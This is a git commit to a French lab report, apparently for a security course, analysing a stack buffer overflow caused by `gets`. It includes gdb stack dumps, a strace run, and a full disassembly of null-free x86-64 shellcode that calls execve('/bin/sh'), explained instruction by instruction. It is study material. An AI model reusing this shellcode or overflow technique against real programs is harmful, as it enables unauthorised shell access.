Work on question 3 and 4

This commit is contained in:
Yorick Barbanneau 2023-03-30 01:20:03 +02:00
parent 2a4a11be20
commit d58645151a

View file

@ -16,11 +16,19 @@ notre boucle reviens à départ; une boucle infinie se produit alors. C'est la
conséquence du *buffer overflow* causée par une mauvaise maitrise des boucles et conséquence du *buffer overflow* causée par une mauvaise maitrise des boucles et
variables associées. variables associées.
En effet en prenant en compte le 0 comme index de tableau, la boucle `for (i=0;
i<=N; i++)` itère 12 fois et non 11. La condition devrait être `i<N`
## Partie 2 ## Partie 2
### question 1 et 2 ### question 1 et 2
Effectivement le code vu en cours est repris dans cet exemple. Nous sommes Le code d'`anodin` contient l'appel à `gets`. Cette fonction est déconseillée
car elle ne prend pas en paramètres **le nombre d'octets maximal à lire**. Il
est ainsi aiser de réaliser une attaque par **dépassement de tampon**:
L'utilisateur saisie plus de donnée que la taille de la variable qui les reçoit.
Pour `exploit`, le code vu en cours est repris dans cet exemple. Nous sommes
cependant en présence de code *C* avec du code assembleur directement écrit en cependant en présence de code *C* avec du code assembleur directement écrit en
*hexadécimal*. *hexadécimal*.
@ -29,9 +37,7 @@ présence d'une macro afin de positionner les instructions adaptée dans la
variable `exploit`: variable `exploit`:
```c ```c
unsigned char exploit[1024] = { unsigned char exploit[1024] = {
#ifdef __x86_64__ #ifdef __x86_64__
/* 64 bit version */ /* 64 bit version */
// [...] // [...]
@ -47,7 +53,7 @@ unsigned char exploit[1024] = {
### question 4 ### question 4
Lors de l'execution de notre attache en l'observant avec gdb, nous pouvons Lors de l'execution de notre attaque en l'observant avec gdb, nous pouvons
clairement les éléments de notre attaque : les éléments de la pile contenant les clairement les éléments de notre attaque : les éléments de la pile contenant les
adresses vers notre *shellcode*, les padding avec des `nop` et le *shellcode*. adresses vers notre *shellcode*, les padding avec des `nop` et le *shellcode*.
@ -128,7 +134,7 @@ mettent alors en places.
0x7fffffffe480 0x0000000000000003 0x7fffffffe480 0x0000000000000003
``` ```
Voici les éléments de notre `exploit` qui se retrouvent dans la pile, les Voici les éléments de notre `exploit` qui se retrouvent dans la pile, les
diférentes parties sont délimitées par des crochets: différentes parties sont délimitées par des crochets:
``` ```
0x7fffffffe4b8 0x[050f] e6894857e289 ; 4 0x7fffffffe4b8 0x[050f] e6894857e289 ; 4
0x7fffffffe4b0 0x48006a000000 [3b] c0 ; 3 0x7fffffffe4b0 0x48006a000000 [3b] c0 ; 3
@ -144,9 +150,10 @@ diférentes parties sont délimitées par des crochets:
Lors de l'instruction pas à pas du code assembleur, nous pouvons observer la Lors de l'instruction pas à pas du code assembleur, nous pouvons observer la
mise en place des arguments de notre appel système dans les différents mise en place des arguments de notre appel système dans les différents
registres, notamment *0x3b* dans `rax`. registres, notamment *0x3b* dans `rax` et le chemin complets vers `sh` depuis
la pile vers `%rdi`
## question 3 ## Partie 3
Lors de l'exécution du `strace` sur notre exécutable `shellcode` nous voyons Lors de l'exécution du `strace` sur notre exécutable `shellcode` nous voyons
bien apparaitre les deux appels systèmes `creat` et `exit`: bien apparaitre les deux appels systèmes `creat` et `exit`:
@ -193,3 +200,86 @@ par `objdump`. Et en plus on évite les erreurs de saisie.
Après l'incorporation de notre *shellcode* dans le fichier `exploit-test.c`, sa Après l'incorporation de notre *shellcode* dans le fichier `exploit-test.c`, sa
compilation et son execution, le fichier `/tmp/pwn` est bien créé. compilation et son execution, le fichier `/tmp/pwn` est bien créé.
## Partie 4
Voici le code assembleur obtenu d'après les opcodes:
```asm
xor %eax,%eax
movabs $0xff978cd091969dd1,%rbx
neg %rbx
push %rbx
push %rsp
pop %rdi
cltd
push %rdx
push %rdi
push %rsp
pop %rsi
mov $0x3b,%al
syscall
```
Notre shellcode commence par initialiser `%eax` à 0 en faisant un `xor` - *ou
exclusif* sur lui-même. Plus il place `$0xff978cd091969dd1` sans `%rbx`. Ceci
est en fait une chaine de caractère qui sera dévoilée lors de la prochaine
instruction.
Celle ci est en fait `/bin/sh` suivi de `/0` donnée par `neg %rbx`.
Cette instrution réalise un complément à deux sur le registre en paramètre.
`%rbx` est ensuite poussé sur la pile tout comme notre pointeur de pile.
Le contenu pointé par le pointeur de pile (l'adresse de notre chaine)
est passé au registre `%rdi` et la pile remonte d'un cran (`pop`).
Le mnémonique `cltd` transforme étends le bit de poid fort d'`%eax` dans `%edx`.
Il est question ici d'initialiser `%edx` à 0.
`%rdx` est ensuite poussé sur la pile, puis `%rdi` et notre pointeur de pile.
Voici d'ailleur à quoi ressemble cette dernière:
```
[...]
0x7fffffffe538 0x0068732f6e69622f
0x7fffffffe530 0x0000000000000000
0x7fffffffe528 0x00007fffffffe538
0x7fffffffe520 sp 0x00007fffffffe528
[...]
```
Enfin `0x3b` est positionné dans `al` (appel système `execve`) et notre appel
est lance avec `syscall`. voici l'état des registres au moment de notre
`syscall` :
```
rax 0x3b 59
rbx 0x68732f6e69622f 29400045130965551
rcx 0x0 0
rdx 0x0 0
rsi 0x7fffffffe528 140737488348456
rdi 0x7fffffffe538 140737488348472
rbp 0x0 0x0
rsp 0x7fffffffe528 0x7fffffffe528
```
Et l'état de notre pile :
```
[...]
0x7fffffffe548 0x00007fffffffe87d
0x7fffffffe540 0x0000000000000001
0x7fffffffe538 0x0068732f6e69622f
0x7fffffffe530 0x0000000000000000
0x7fffffffe528 sp 0x00007fffffffe538
0x7fffffffe520 0x00007fffffffe528
[...]
```
Notre shellcode lance donc `/bin/sh`. Comme défini dans l'ABI Linux, notre appel
système utilise `%rdi` comme premier paramètre, celui-ci contient l'adresse de
`/bin/sh` sur la pile. Le second paramètre, un pointeur vers le tableau des
arguments d'`execve` est contenu dans `%rsi`. Le dernier argument est passé par
`%rdx` : 0.
Dasn ce shellcode, tout est fait pour ne pas avoir de caractère `/0` et `/n`
afin de passer `gets` et `strcpy`.